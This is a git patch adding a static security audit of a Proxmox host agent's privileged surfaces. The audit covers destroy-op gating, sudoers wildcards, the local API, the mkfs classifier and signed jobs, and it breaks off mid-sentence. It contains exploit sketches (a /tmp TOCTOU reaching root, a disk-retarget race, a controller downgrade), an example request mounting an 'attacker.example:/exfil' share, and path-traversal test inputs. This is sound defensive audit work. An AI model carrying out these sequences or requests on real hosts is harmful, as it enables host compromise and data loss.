From 8c8196e82b69592bd5c0f2166de0987134921590 Mon Sep 17 00:00:00 2001 From: kisfenyo Date: Thu, 2 Jul 2026 10:43:19 +0200 Subject: [PATCH] =?UTF-8?q?docs:=20AUDIT=20=E2=80=94=20host-root=20+=20loc?= =?UTF-8?q?al-API=20blast=20radius=20(non-Proxmox-token=20axes)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Companion to CAMPAIGN-pool-effects: red-teams the four axes the pool campaign did not cover (provenance-gating of destructive ops, sudoers↔fine-gate coverage, local-API within-scope blast radius, mkfs/claim classifier, signed-vs-self-serve boundary). Verifies the v0.60.0 F1 fix is complete; finds no new HIGH/MED. One F1-sibling (stale-lock pool-blind reaper, LOW) + LOW/INFO defense-in-depth residuals. Read-only static trace against felhom-agent @cc93dae/v0.60.0. Co-Authored-By: Claude Fable 5 --- ...ast-radius-hostroot-localapi-2026-07-02.md | 426 ++++++++++++++++++ 1 file changed, 426 insertions(+) create mode 100644 documentation/audits/AUDIT-blast-radius-hostroot-localapi-2026-07-02.md diff --git a/documentation/audits/AUDIT-blast-radius-hostroot-localapi-2026-07-02.md b/documentation/audits/AUDIT-blast-radius-hostroot-localapi-2026-07-02.md new file mode 100644 index 0000000..b066823 --- /dev/null +++ b/documentation/audits/AUDIT-blast-radius-hostroot-localapi-2026-07-02.md @@ -0,0 +1,426 @@ +# AUDIT — host-root + local-API blast radius (the axes the pool campaign did not cover) + +**Class:** Audit (static source trace + non-destructive verification). **Output is a findings doc — no agent +code was written, no version bumped, no branch opened.** +**Subject:** `felhom-agent` @ `main` = **`cc93dae` / v0.60.0** — read-only. +**Prompt baseline note:** the prompt was authored against `55ade9e2` / v0.59.0; `main` had already advanced +to **v0.60.0** (`b9356d6` + `cc93dae`) when this audit ran. **That is material to Strand A:** v0.60.0 is the +commit that FIXED campaign-F1 (proof-of-launch destroy gating, F1a/b/c). This audit therefore *verifies the +F1 fix* and hunts F1-siblings, rather than re-reporting F1 as open. Landmark line numbers in the prompt were +reconfirmed against v0.60.0 source; where they shifted, the cited `file:line` is the v0.60.0 value. +**Host:** felhom-pve (`demo-felhom`, 192.168.0.162) — **not touched** (see §5; the audit was 100% static, no +live probe was needed to reach a verdict). +**Method:** static source trace of the agent, cross-referenced against the stated trust boundaries in +`documentation/architecture/{01,03,04}` and the sudoers/wrapper configs. Five strands (A–E), each +independently traced, then the HIGH/MED-candidate findings re-verified by a second read of the cited source. + +> **This audit does NOT re-cover the Proxmox-API-token axis** — the privilege map, pool containment, +> out-of-pool 403s, and ListLXC pool-blindness (B1–B4) are shipped and validated in +> **`CAMPAIGN-pool-effects-2026-07-01.md`** + **`SPIKE-pool-scoped-acl-2026-07-01.md`**. Those are cited, not +> repeated. Campaign findings **F1–F6** are treated as known; this audit *extends* F1/F5 and adds new, +> distinct findings on the other four axes. + +## Headline + +**No new HIGH or MED findings.** The four un-audited axes are in good shape: + +- **Strand A (provenance):** the v0.60.0 F1 fix is **complete and airtight** for all four `DestroyLXC` paths. + One F1-sibling remains (stale-lock recovery, LOW) — contained by the pool ACL today, re-arms only under a + future broad/root token. +- **Strand B (sudoers ↔ fine-gate):** the sudoers header's global claim ("the agent fine-validates every + value before exec") **holds for all 10 aliases as wired**. Residuals are host-local defense-in-depth + (fixed-name `/tmp` staging, LOW; un-self-gated bind helpers, INFO). +- **Strand C (local-API within-scope):** identity self-scoping is structurally sound (the token's vmid is + the only vmid ever used for an op). Storage-op *targets* are property-gated (role / data-bearing / + namespace / regex), not ownership-bound — three INFO residuals (controller-swap downgrade; attacker-NAS + mount; advisory dependent-guest scan = F5). +- **Strand D (mkfs / claim classifier):** fail-safe on every gather **error** path; the pvs/zpool trichotomy + is correct. Three real weaknesses (all INFO/LOW): the guarded wrapper is an asymmetric subset of the + classifier; `classifyClaim` reads an empty-but-successful lsblk as unclaimed; the blank-format path lacks + the anti-retarget re-resolution AGENT-001 added to the data-bearing branch. +- **Strand E (signed vs self-serve):** the boundary holds — signed executors are unreachable from the local + API, nonces are durable + single-use + burned-before-execute, the operator key and escrow code are kept + off the host. Two INFO comment/redundancy notes. + +**Nothing hard-blocks the shared-box colleague trial** (every residual is contained by the pool-scoped token +the trial ships with). The one item to close **before any broad/root-token deployment** is the stand-alone +F1-sibling A1 (stale-lock reaper). + +--- + +## Strand A — Provenance-gating of destructive host ops (generalizes campaign-F1) + +**Verdict:** the v0.60.0 fix is complete for the four LXC-destroy paths. The reversibility gate remains a +provenance *pass-through* (by design). One F1-sibling (stale-lock recovery) is pool-blind and re-arms under +a broad token. + +| Destructive op | Call site (file:line) | Gated on "this txn created/owns the target"? | Backstop if compromised | Verdict | +|---|---|---|---|---| +| `DestroyLXC` — bring-up rollback | `internal/reconcile/bringup.go:369` (`rollbackBringUp`; defer `bringup.go:210-219`) | **YES** — `launched` set only after `RestoreLXC` returns a UPID (`bringup.go:234`); `!launched` defer closes `OpFailed` w/o destroy (`:214-216`) | pool ACL + gate `Authorize` (`:363`) | **safe (F1a fixed)** | +| `DestroyLXC` — restore-test teardown | `internal/reconcile/restoretest.go:412` (`teardownScratch`; defer `:186-192`) | **YES** — `launched` after UPID (`:243`); `!launched` → no destroy (`:187-191`) | pool ACL + gate (`:406`) | **safe (F1b fixed)** | +| `DestroyLXC` — recover leaked scratch | `internal/reconcile/recover.go:144` (`recoverScratch`) | **YES** — `entry.UPID==""` abandon check hoisted **before** the Scratch dispatch (`recover.go:46-52` → `:59`) | pool ACL + `ListLXC` existence check + gate (`:136`) | **safe (F1c fixed)** | +| `DestroyLXC` — recover half-built bring-up | `internal/reconcile/recover.go:203` (`recoverBringUp`) | **YES** — same `UPID==""`-first check (`:46-52` → `:69`) | pool ACL + existence check + gate (`:195`) | **safe (F1c fixed)** | +| `Stop` (reconcile `ActionStop`) | `internal/reconcile/engine.go:173` | N/A — benign/reversible class (`ClassStop`, `classify.go`); planner unfed (EmptyProvider) | reversible (Start) | safe | +| `Rollback` (snapshot, self-serve) | `internal/localapi/server.go:482` | self-scoped: `scopedFromBody` pins vmid=token (`:474`); not gate-routed | per-guest token scope | safe (self-scoped) | +| `pct unlock` + `DeleteVzdumpSnapshot` + `Start` (stale-lock recovery) | `internal/localapi/stalelock.go:200`/`:208`/`:220`; reaper scans **all** guests via `ListLXC` (`:159-161`) | **NO** — acts on pre-existing guests found by a **pool-blind** scan; guard = lock-allowlist (`:27-30`) + no-vzdump-in-flight (`:87-97`), not ownership | **pool-scoped ACL only** | **F1-sibling (A1, LOW)** | +| `Format`/mkfs (signed wipe) | `internal/signedjobs/wipe.go:106` | YES (resource) — durable-id resolve+re-derive+re-inspect (`wipe.go:74-99`) + `deviceUnclaimed` (`hostops.go:449`) + guarded wrapper (`:456`) | operator sig + unclaimed guard + wrapper | safe | +| `Format`/mkfs (customer-confirmed / blank, local-API) | `internal/localapi/disks.go:727` (confirmed) / `:681` (blank) → `formatjob.go:116` | confirmed: durable-id-bound + re-resolve (`disks.go:697-714`); **blank: NOT re-resolved** — see Strand D (D3) | unclaimed guard + wrapper + role gate | safe (blank path = D3 caveat) | +| `Vzdump` + `--prune-backups` | `internal/backup/runner.go:133` | vmid+storage-scoped, keep-last=N, local only, never PBS | self-vmid scope | safe | +| `Unmount` (systemctl stop/disable `.mount`) | `internal/storage/hostops.go:331-339` (eject/decommission callers) | role-gated to user-data (`disks.go:404-408`), self-scoped; reversible | role gate + self-scope | safe | +| `DetachBind` (`pct set --delete mpN`) | `internal/localapi/guestbind.go:88` (from `disks.go:432`) | self-scoped vmid + user-data role gate; data stays on drive | role gate + self-scope | safe | +| `pct reboot` | `internal/localapi/guestbind.go:101` (from `disks.go:524`) | self-scoped (`withGuest`+`scopedFromBody`) | token scope | safe (self-DoS only) | +| `SetDecommissioned` (signed decommission) | `internal/signedjobs/decommission.go:75` | metadata-only intent write; no destroy/detach/format | operator sig + durable-id binding | safe (not destructive) | +| `rsync --delete` | — none in `internal/` (only a doc-comment in `hub/dr_recipe.go`) | N/A | N/A | **confirmed absent** | + +**F1 fix — airtight.** `launched`/`entry.UPID` derives destroy authorization from a real `RestoreLXC` UPID +rather than from vmid-existence + the ACL. A synchronous restore refusal ("already exists", no UPID) +provably cannot reach a `DestroyLXC`. The accepted residual (a crash in the one-statement window between +obtaining the UPID at `bringup.go:234`/`restoretest.go:243` and journaling it at `:235`/`:244`) leaks a +half-built guest Recover won't reap — by design, and strictly preferable to destroying an innocent guest +(CHANGELOG v0.60.0 "Accepted residual"). + +**A2 (INFO, architectural) — the gate does not verify provenance; it consumes it.** `Gate.Authorize` +genuinely *blocks* (a Destructive disposition with no signed op → `pending_signature`, `gate.go:146-150`), +but `Classify` trusts whatever `Provenance` the intent carries (`gate.go:135`), and that provenance is +hardcoded by the call-site constructors `IntentForRollbackDestroy` (`SameTxnCreated:true`) / +`IntentForScratchDestroy` (`AgentTaggedScratch:true`). There is no cross-check against the journal/UPID +inside the gate. **This is exactly why campaign B1.3 saw a rollback-destroy classed benign while the guest +pre-existed** — the pre-v0.60.0 call site asserted `SameTxnCreated:true` unconditionally and the gate +faithfully honored it. v0.60.0 fixes the **call sites**, not the gate; the whole guarantee now lives in the +`launched`/UPID discipline. Defensible (provenance is a caller-supplied, journal-derived fact the gate can't +independently reconstruct), but it means the reversibility gate is effectively decorative for these +self-authored teardowns — a future mislabel at a constructor would sail through. Worth a comment/guard, not +a blocker. Duplicate-adjacent to F1's root cause. + +**A1 (LOW, F1-sibling; extends F1, relates F6) — stale-lock recovery reaps by pool-blind scan, not +ownership.** `RecoverStaleLockedGuests` (`stalelock.go:58`) iterates **every** guest from `ListLXC` +(`:159-161`) at startup and, for any guest whose lock is in `{backup, snapshot-delete}` (`:27-30`) with no +in-flight vzdump (`:87-97`), runs `pct unlock` (`:200`), deletes the vzdump snapshot (`:208`), and starts +the guest if `onboot` (`:220`). Ownership is *assumed*, not proven. Contained today because the pool-scoped +token makes `ListLXC` pool-only — precisely the containment F6 relied on. +*Exploit sketch (exploit fully sequenced; precondition — a broad/root token — does not exist today, so +verdict is LOW not HIGH):* shared host, agent redeployed with a broad token (F1's "re-arms it" precondition) +→ a co-tenant's own backup tool leaves non-felhom guest 5000 with `lock: snapshot-delete` + a vzdump +snapshot, in the window before its vzdump task is visible (so `BackupRunning` returns false, `:171-184`) → +agent restart → reaper unlocks 5000, deletes its snapshot, force-starts it → the neighbor's in-progress +backup is corrupted/aborted and its guest force-started. No felhom-customer data destroyed (hence LOW, not +HIGH like F1). **Fix before any broad-token deployment:** restrict the scan to felhom-pool membership (or a +fenced-root `pct list` cross-checked against the pool). + +**Negative tests.** The F1 red-proof companions already exist (`TestRunBringUp_NoLaunchNoDestroy`, +`TestRunRestoreTest_RestoreNoLaunchNoTeardown`, `TestRecover_{BringUp,Scratch}NoUPIDAbandoned`). Missing: +`TestStaleLock_ForeignGuestNotReaped` — seed a non-pool guest with a stale lock + snapshot + no running +vzdump, wire a broad-token fake, assert `Unlock`/`DeleteVzdumpSnapshot`/`Start` are **not** invoked. + +--- + +## Strand B — OS-root sudoers surface ↔ in-agent fine-gate coverage + +**Verdict:** the sudoers header's global claim holds for every one of the 10 aliases as currently wired. +Every wildcard value reaching a `sudo -n` arg vector is (a) run through a validator before the vector is +built, (b) an `int`-typed vmid, or (c) a fixed literal. Exec is always an arg vector (`privileged.go:61-71`), +never a shell string, so a validated value cannot inject. Residuals are host-local defense-in-depth, none +reachable within the in-guest/cross-customer (F1–F6) threat model. + +Representative coverage (full per-grant trace held in the working notes; every grant confirmed gated): + +| Alias / grant (wildcard) | Constructing call site (file:line) | Fine-gate (file:line) | Un-validated value reachable? | +|---|---|---|---| +| MOUNT `systemctl stop/disable -- *.mount` | `storage/hostops.go:336,339` (`Unmount`) | `UnitNameForMount(where)` → `ValidateMountPath` (`hostops.go:332`, `validate.go:156,83`) | No | +| DISK `smartctl … /dev/sd[a-z]*` | `storage/hostops.go:351` | `ValidateSMARTDevice` (`hostops.go:348`, `validate.go:112`) | No | +| DISK `lvs … -- *` | `storage/hostops.go:371` | `ValidateLVMName` ×2 (`hostops.go:362,366`) | No | +| PROVISION `chown -R 100000:100000 …/guests/*` | `provision/backhalf.go:145` | path = `join(stateDir,"guests",itoa(vmid),"bootstrap")`, vmid `int` (`:134`) | No | +| FORMAT `felhom-mkfs-guarded /dev/* *` | `storage/hostops.go:456` | `ValidateBlockDevice`+`ValidateFSType`+`deviceUnclaimed` (`:439,442,449`) + wrapper re-check | No | +| DNSMASQ `install /tmp/felhom-resolver-*.conf …` | `lanresolver/lanresolver.go:266` | src = `os.CreateTemp` random (`:255`); dest via `sanitize(customerID)` (`:72`) | No | +| GUESTHOOK `install -- /tmp/felhom-guest-hook.sh …/snippets/…` | `guesthook/install.go:45` | fixed dest; **fixed /tmp name** (`:40`) — see B1 | No value; TOCTOU | +| GUESTHOOK `pct set [0-9]* --delete mp[0-9]*` | `localapi/guestbind.go:88` | vmid `int`; slot `mpN` from `guestSlotForPath` | No | +| INTERMEDIARY `mount --bind /mnt/*/felhom-data /mnt/felhom-drives/*` | `localapi/intermediary.go:222` | both `*` derived from one `validGuestMountPath`-checked `where` (`disks.go:534`) | No (caller-gated; B3) | +| INTERMEDIARY `install -- /tmp/felhom-shared-parent.sh …` | `localapi/intermediary.go:154,162` | fixed dest; **fixed /tmp name** (`:149,157`) — see B1 | No value; TOCTOU | +| CONTROLLERSWAP `docker image inspect *` | `localapi/controllerswap.go:139` | `ValidControllerImage` (`:324,38`, regex `:35`) | No | +| STALELOCK `pct unlock [0-9]*` | `localapi/stalelock.go:200` | vmid `int` from API `Guests()` | No (but see Strand A A1 for the *scan*, not the arg) | +| NETMOUNT `rm -f /etc/systemd/system/mnt-felhom*` | `storage/netmount.go:416,419` | `reShareName` (`:399`); escaped unit always begins `mnt-felhom` | No | + +**B1 (LOW — fixed-name `/tmp` staging TOCTOU; new, host-local).** `guesthook/install.go:40` +(`/tmp/felhom-guest-hook.sh`) and `intermediary.go:149,157` (`/tmp/felhom-shared-parent.sh` + `.service`) +stage root-executed scripts through **fixed, predictable** `/tmp` names via `os.WriteFile` (O_CREATE, no +O_EXCL, follows symlinks), then `sudo install` them to a root-executed location (a PVE hookscript run at +guest pre-start; a boot-time `ExecStart` script). `lanresolver.go:255` does this correctly with +`os.CreateTemp` (random name) — the two above do not. +*Exploit sketch (sequenced; precondition = a second non-root local account on the Proxmox host, which the +standard Felhom host — root + `felhom-agent` only — does not provision, so LOW):* a local non-root user +pre-creates `/tmp/felhom-guest-hook.sh` (owning it) → the agent's `os.WriteFile` opens/truncates the +attacker-owned file and writes the snippet → the attacker rewrites the content between the agent's close and +root's `install` → root copies attacker content into `/var/lib/vz/snippets/felhom-guest-hook.sh`, executed +as **root** at the next guest pre-start. The sticky bit on `/tmp` blocks a *different* user from replacing +the agent's file after creation, but not pre-creation of the predictable name. **Outside the F1–F6 threat +model** (customer code runs in an unprivileged LXC and cannot see the host `/tmp`); relevant only if a +colleague has a non-root shell on a shared box. **Fix:** mirror lanresolver's `os.CreateTemp`. + +**B2 (INFO — bind helpers don't self-reject `..`).** `GuestBinder.AttachDrive`/`DetachDrive` +(`intermediary.go:187,347`) do not self-validate `where` for traversal — `DriveNameFromRaw` (`:80`) rejects +`/`, space, tab but **not** `..`. Safe today only because both callers gate (`validGuestMountPath` +`disks.go:534` for attach; `roleForMountPath` exact-match `disks.go:353,404` for detach). A future third +caller that skipped the gate would regress it. Defense-in-depth gap. + +**B3 (INFO — coarser-than-needed wildcards).** The INTERMEDIARY bind's two `*` are grammatically independent +in sudoers though the code always derives both from one validated `where`; CONTROLLERSWAP's +`docker image inspect *` is broader than the single `controllerImageRe`-validated ref the agent ever sends. +Code-tied today; could be pinned tighter (least-privilege). + +**B4 (INFO — `privileged.go` forms absent from sudoers, fail-closed).** `internal/proxmox/privileged.go` +retains `CreateGoldenLXC`→`pct create` (`:136`), `MountUSBByUUID`→`mount UUID=…` (`:148,151`), +`Sensors`→`sensors -j` (`:181`). None appear in the sudoers file, so under the non-root `RunnerSudo` model +these `sudo -n` calls are **denied → fail-closed**. The manifest comment (`capability/manifest.go:29-37`) +explicitly excludes them as not-required. Capability/documentation gap, no escalation. + +**B5 (INFO — dead grant).** `systemctl reload dnsmasq` (sudoers `:61`, manifest `dnsmasq-reload`) is never +called — the code deliberately uses `restart` (`lanresolver.go:242`). Harmless; drop it. + +**NoopHostOps (Q4) — always fail-safe.** Every degrade path returns an explicit error or a safe sentinel +(`SMART`→UNKNOWN; `InspectDevice`→`Probed=false` ⇒ `DataBearing()=true` ⇒ a later format is refused). No +silent destructive success anywhere (`hostops.go:540-557`). Surfaces with no Noop fallback fail-closed via a +non-zero `sudo -n` exit. + +**Manifest ⊆ sudoers (Q5).** `TestManifestCoveredBySudoers` (`manifest_test.go:122`, with dropped-grant +red-proofs) proves the *presence* direction. Missing: the adversarial *unreachability* direction for the +non-`SudoHostOps` wildcard constructors. + +**Negative test (names the gap).** `TestWildcardGrantsUnreachableWithUnvalidatedInput` — a table over every +sudoers wildcard, each row driving the *public* entry point (e.g. `handleDiskGuestAttach` with +`where="/mnt/../etc"`, `POST /controller/swap` with `image="evil"`) against a recording runner, asserting +(1) refusal and (2) no arg vector matching that alias's pattern. Today only `SudoHostOps` has an equivalent +(`TestHostOps_RejectsHostileArgsBeforeExec`, `validate_test.go:130`); `GuestBinder`, `ControllerSwapper`, +`lanresolver`, `netmount`, `stalelock` do not. This test would convert the header's global claim from +asserted to proven and would immediately flag B2 if a handler gate were removed. + +--- + +## Strand C — Local-API within-scope host blast radius + +**Verdict:** identity self-scoping is structurally sound — the token's vmid is the only vmid ever used for a +proxmox op (`server.go:365`); every body/query vmid is a pure consistency check (`server.go:357-364`, +`scopedFromBody` `:381-389`) that 403s on mismatch and is never substituted in. **No handler re-reads +`req.VMID` and uses it for the op** (traced: `handleSnapshot` `:450`, `handleRollback` `:482`, `handleBackup` +`:521-545`, `handleGuestReboot` `disks.go:524`, `handleControllerSwap` `controllerswap.go:355`). The +within-scope surface is wide because storage-op **targets** (`device`, `where`, `server:export`, `image`) +are caller-supplied and gated by *properties* (role / data-bearing / namespace / regex), not ownership-bound +to the guest — acceptable on a single-tenant box. + +| Endpoint (route → handler file:line) | Worst host effect for OWN guest | Gate beyond self-scope | Residual | +|---|---|---|---| +| `POST /disks/format` (`server.go:282` → `disks.go:650`) | mkfs a blank device, or a customer-confirmed user-data device | agent device-inspection not caller claim (`disks.go:672`); role tier (`:702`); durable-id-bound confirm (`:714`); **`deviceUnclaimed`+`MkfsGuarded`** (`hostops.go:449,456`) | system/backup → operator-sig only; **cannot reach raw mkfs** (confirmed chain); blank path = D3 | +| `POST /disks/eject` (`server.go:280` → `disks.go:332`) | detach a user-data drive's bind (data preserved) | user-data role gate, fail-safe→system (`disks.go:353-358`) | dependent-guest scan **advisory only** (`:359,375`) = **F5** | +| `POST /disks/decommission` (`server.go:281` → `disks.go:386`) | logically retire + detach a user-data drive (no mkfs, `disks.go:442`) | same user-data role gate (`:404-409`) | same advisory scan (F5); self-DoS of own drive | +| `POST /controller/swap` (`server.go:296` → `controllerswap.go:312`) | restart bootstrap onto a chosen felhom-controller semver | **`controllerImageRe` host+repo pinned** (`:35,324`); `imagePresent` (`:244`) | **version downgrade (C1)** | +| `POST /netstorage/add` (`server.go:291` → `netstorage.go:53`) | root-mount an arbitrary NAS host-side under `/mnt/felhom-drives/*`, propagated into guest | namespace role gate (`netstorage.go:68-74`); `ValidateNetworkMountSpec` (`netmount.go:125`); creds path agent-set (`netstorage.go:88-94`) | **attacker-NAS mount (C2)** | +| `POST /guest/reboot` (`server.go:287` → `disks.go:502`) | reboot own guest (`disks.go:524`) | vmid = token | self-DoS only; **no host-reboot primitive exists** | +| `POST /snapshot` `/rollback` `/backup` `/disks/assign` `/disks/guest-attach` `/netstorage/remove` | own-guest snapshot/rollback/backup/mount/bind churn | charset/namespace validators; vmid = token | LOW/INFO self-inflicted | + +**C1 (INFO, suspected — controller-swap version downgrade; new).** `controllerImageRe` +(`^gitea\.dooplex\.hu/admin/felhom-controller:[0-9]+\.[0-9]+\.[0-9]+$`, `controllerswap.go:35`) is anchored +and **pins the registry host + repo** — no look-alike-registry, digest, or metacharacter bypass exists (I +reconfirmed the regex verbatim). But it accepts **any** semver; "latest-only" is enforced *only* caller-side +(comment `:24-25`), not by the agent. A compromised controller could `docker pull …:` then +`POST /controller/swap {"image":"…:0.40.0"}` → the agent rewrites `/etc/felhom-controller-image` and +restarts the bootstrap unit (`:143-157,252-261`), running the downgraded image as the controller. It cannot +run a *non-felhom* image, and the compromised controller already owns the guest's docker socket, so this is +a downgrade-to-vulnerable within its own guest, **not** a host escalation. INFO. *Fix option:* an agent-side +minimum-version floor. + +**C2 (INFO, suspected — attacker-NAS host-side mount; new).** In `ValidateNetworkMountSpec`, `Server` is +constrained only by `reNetServer = ^[A-Za-z0-9._:-]+$` (`netmount.go:100,134`) — any hostname/IP with no +metacharacters; `Export` is a safe path/segment. The mountpoint is namespace-locked under +`/mnt/felhom-drives` (`netmount.go:106-108`, re-checked `netstorage.go:68-74` and `netmount.go:344-346`), and +the `credentials=` path is **agent-set, not caller-controllable** (`netstorage.go:87-95` — there is no +caller `CredsRef` field, so the "creds pointing at a host file" attack is *closed*). What's free is the +`server`/`export`: `POST /netstorage/add {"protocol":"nfs","server":"attacker.example","export":"/exfil",…}` +→ the agent installs a root-triggered `.mount`/`.automount` for `attacker.example:/exfil` propagated into the +guest. Worst case: (a) an attacker-controlled filesystem visible to the guest's media apps (exfil/poison +target — only marginally novel since the guest already has network egress), and (b) the **host kernel +NFS/CIFS client now talks to a hostile server** as root — a kernel-client attack surface. INFO. *Fix +option:* an operator/allowlist gate on NAS server addresses for the shared-box case. + +**C3 = campaign F5 (duplicate, not new).** `dependentGuests` (`disks.go:1026-1059`), called by eject +(`:359`) and decommission (`:410`), only **returns** dependent VMIDs for a UI warning (`:375,443`) — it never +blocks the detach. Harmless single-tenant; the shared-box residual is already tracked as F5. + +**Negative tests.** (1) per mutating handler: body/query `vmid=token+1` → 403 with zero downstream call, and +matching-vmid → mock called with the *token's* vmid; an AST guard that no handler references `req.VMID` after +`scopedFromBody`. (2) `ValidControllerImage` reject-corpus (look-alike host, digest, `…:latest`, second tag) ++ a **downgrade** assertion documenting `…:0.1.0` is currently accepted. (3) `ValidateNetworkMountSpec` +rejects metachar `server`, `..` `export`, escaping `where`; assert no caller-settable `CredsRef`. +(4) `handleDiskFormat` on a claimed device drives `SudoHostOps.Format` to the `deviceUnclaimed` refusal with +zero `MkfsGuarded` exec. + +--- + +## Strand D — mkfs / claim.go classifier robustness + +**Verdict:** `classifyClaim` (`claim.go:61-89`) is fail-safe on **every gather ERROR path** (`gatherErr`, +`!wholeDiskOK`, `isSystem`, `readonly` all refuse first, `:62-73`) and the pvs/zpool present/absent/error +trichotomy is correct (absent ⇒ lsblk FSTYPE backstop; present-but-erroring ⇒ fail-safe claimed, +`:145,163`). The symlink question is clean: no by-uuid symlink reaches mkfs — every device string is either +`ValidateBlockDevice`-constrained to a raw node or an `EvalSymlinks`-canonical node, and the wrapper's `-L` +reject (`felhom-mkfs-guarded.sh:24`) is a third backstop. Three real weaknesses: + +**Gate side-by-side (what each catches, confirmed by reading both fully):** + +| Claim class | `classifyClaim` (file:line) | wrapper `felhom-mkfs-guarded.sh` | Symmetric? | +|---|---|---|---| +| gather error / undeterminable topology | refuse (`claim.go:62-67`) | n/a (no notion of agent reads) | agent-only | +| OS/system disk (`/`,`/boot`,`/boot/efi`) | `isSystem` fail-safe (`claim.go:68-70`) | YES — `/proc/mounts` whole-disk match (`:31-39`) | **both** | +| read-only device (`/sys/.../ro`) | refuse (`claim.go:71-73`) | **NO** | agent-only | +| LVM physical volume | pvs + lsblk `LVM2_member` (`claim.go:74-76,80-82`) | YES *iff* `command -v pvs` (PATH, not abs) succeeds (`:42-49`) | partial | +| ZFS pool member | zpool + lsblk `zfs_member` (`claim.go:77-82`) | **NO** | agent-only | +| mdraid / LUKS / swap member | lsblk FSTYPE (`claim.go:80-82`, `memberFSTypes`) | **NO** | agent-only | +| mounted outside `/mnt/felhom-drives` | node check (`claim.go:84-86`) | YES — lsblk MOUNTPOINT (`:53-59`) | **both** | +| symlink / by-uuid passed to mkfs | `ValidateBlockDevice` (`validate.go:122`) | YES — `-L`/`-b`/`..` (`:21-24`) | **both** | + +**D1 (LOW — the guarded wrapper is an asymmetric subset; new, defense-in-depth).** The wrapper — whose +entire purpose is to stop a *buggy/bypassed agent* (`.sh:5-9`) — re-checks only system-disk, LVM-PV (and only +if `command -v pvs` resolves on PATH), and foreign-mount. If `classifyClaim` were bypassed, the wrapper would +happily `mkfs` a ZFS vdev, an mdraid member, a LUKS container, an active-swap disk, or a read-only disk. The +primary guard covers all of these; the second gate does not. I independently reconfirmed this against the +wrapper source. *Fix:* add zfs_member/mdraid/LUKS/swap FSTYPE + `/sys` ro re-checks to the wrapper, and use +an absolute `pvs` path (not `command -v`). + +**D2 (INFO — `classifyClaim` reads an empty-but-successful lsblk as unclaimed; new, fail-safe hole).** A +successful `lsblk` returning `{"blockdevices":[]}` yields zero nodes; the member/mount loop (`claim.go:80-88`) +is skipped and `classifyClaim` returns `true,"unclaimed"`. There is **no `len(nodes)==0` guard and no +assertion the target whole-disk appears among the nodes** (confirmed by reading `:80-89`). Fail-safety here +rests on the untested assumption that real `lsblk` always *errors* (non-zero exit) on a bad device rather +than emitting empty success — a gap in the "undeterminable ⇒ claimed" invariant. Pure-fn repro: +`classifyClaim(claimFacts{device:"/dev/sdd", wholeDisk:"/dev/sdd", wholeDiskOK:true, nodes:nil})` → +`(true,"unclaimed")`. *Fix:* refuse when `nodes` is empty or the target whole-disk is absent from the tree. + +**D3 (INFO, suspected — blank-format path has no anti-retarget re-resolution; new, sharpest).** +`handleDiskFormat` inspects `req.Device`; on `!probe.DataBearing()` it calls +`startFormatDetached(req.Device, "", fstype)` → `Format(req.Device)` on the **mutable `/dev` path** +(`disks.go:672-691`) — it does **not** re-resolve a durable id. AGENT-001 (v0.30.0) closed exactly this +TOCTOU on the *data-bearing* branch (`wipe_reresolve.go`) but left the blank branch on the raw path. `Format` +itself has no independent `DataBearing` gate — it only calls `deviceUnclaimed` (confirmed `hostops.go:438-461`), +and its own comment (`:447`) asserts "the caller re-resolves the durable-id first" — **a precondition the +blank path violates.** *Exploit sketch (suspected — needs a sub-second `/dev` reassignment):* a USB +re-enumeration reassigns `/dev/sdX` between `InspectDevice` (`disks.go:672`) and the mkfs; if the disk now at +that node is a data-bearing-but-*unclaimed* filesystem (a bare ext4/xfs/ntfs with real data, unmounted, no +LVM/ZFS/RAID/LUKS — which `classifyClaim` passes because those FSTYPEs are not in `memberFSTypes` and it's +not mounted, and the wrapper passes because it's not system/PV/mounted), it is formatted with **neither** the +DataBearing customer-confirm **nor** any durable-id binding. Same class AGENT-001 closed, left open on the +benign branch under the "a blank device has nothing to destroy" assumption that breaks under re-enumeration. +*Fix:* give the blank branch the same durable-id re-derive as the confirmed branch (`disks.go:714`). + +**Note (by design, not a hole):** an unmounted ext4/ntfs-with-data disk *is* "unclaimed" per `classifyClaim` +(test asserts this) — acceptable **only because** every production caller enforces `DataBearing()` above +`Format` (`disks.go:677` blank-gate, `wipe.go:95`, `wipe_reresolve.go:53`). D3 is the one place a race +defeats that reliance. + +**Negative tests.** `TestClassifyClaim_EmptyNodesRefused` (D2), `TestClassifyClaim_TargetAbsentFromTree`, +`TestGuardedWrapper_RefusesZfsMdraidLuksSwap` + `TestGuardedWrapper_PvsNotOnPath` (D1), +`TestFormatBlankPath_AntiRetarget` (D3). + +--- + +## Strand E — signed-job vs self-serve destructive boundary + +**Verdict:** the boundary holds. The two operator-signed destructive executors (`WipeExecutor`, +`DecommissionExecutor`) are constructed only in `cmd/felhom-agent/main.go:522-528` and handed solely to +`NewRunner` (driven by the hub jobs queue) — **there is no local-API route to either.** The locked authz +pipeline (namespace → key-material allow-list → crypto over raw bytes → host target → time window → durable +single-use nonce) plus gate role-scoping + action binding fronts every signed op. + +| Destructive op | Signed-only? (file:line) | Self-serve reachable w/o sig? | Nonce replay-safe? (file:line) | Verdict | +|---|---|---|---|---| +| Wipe (mkfs) system/backup device | YES — `gate.go:227-229` → `Authorize` → `pending_signature` (`:146-150`); role is agent's, `Confirmed` ignored | NO | YES — burned last in `Verify` (`verifier.go:157-160`), fsync'd (`noncestore.go:117-135`) | SOUND | +| Wipe (mkfs) user-data device | NO — customer-confirmable by design (`gate.go:210-225`), durable-id-bound | YES, but only user-data role + confirm bound to agent-re-resolved id (`gate.go:216-222`) | N/A (durable-id binding) | SOUND (intended tier) | +| `storage_wipe` signed job | YES — only in `ExecutorChain` off hub queue | NO route | YES — burned pre-execute (`runner.go:145-166`) | SOUND | +| decommission (protected drive) | YES for system/backup (signed) | NO for system/backup (role 403 `disks.go:404-409`); user-data self-serve retire is non-destructive/reversible | YES (signed path) | SOUND (see E1) | +| guest_destroy / restore_overwrite / key_rotation | YES — Destructive class, role-scoped (`gate.go:254-259`) | NO route | YES | SOUND | + +**Zero-knowledge posture confirmed.** The agent stores **public keys only** (`config.go:359-371` → +`AllowedSigner{PublicKey}` `verifier.go:35-53`); signing happens off-host in `felhom-opsign` via +`ssh-keygen -Y sign` (`opsign/main.go:157`); the escrow recovery code is taken by-hand from the customer, +unwrapped only in a 0700 tempdir that is always `RemoveAll`'d, never logged (`escrow/consume.go:23-79`). +**Signature binds op+target:** the canonical blob covers `params` (incl. `durable_id`) and `Verify` +authenticates over the raw received bytes (`verifier.go:123-134`), so a signature for wiping id X cannot +verify for Y; the `WipeExecutor` additionally 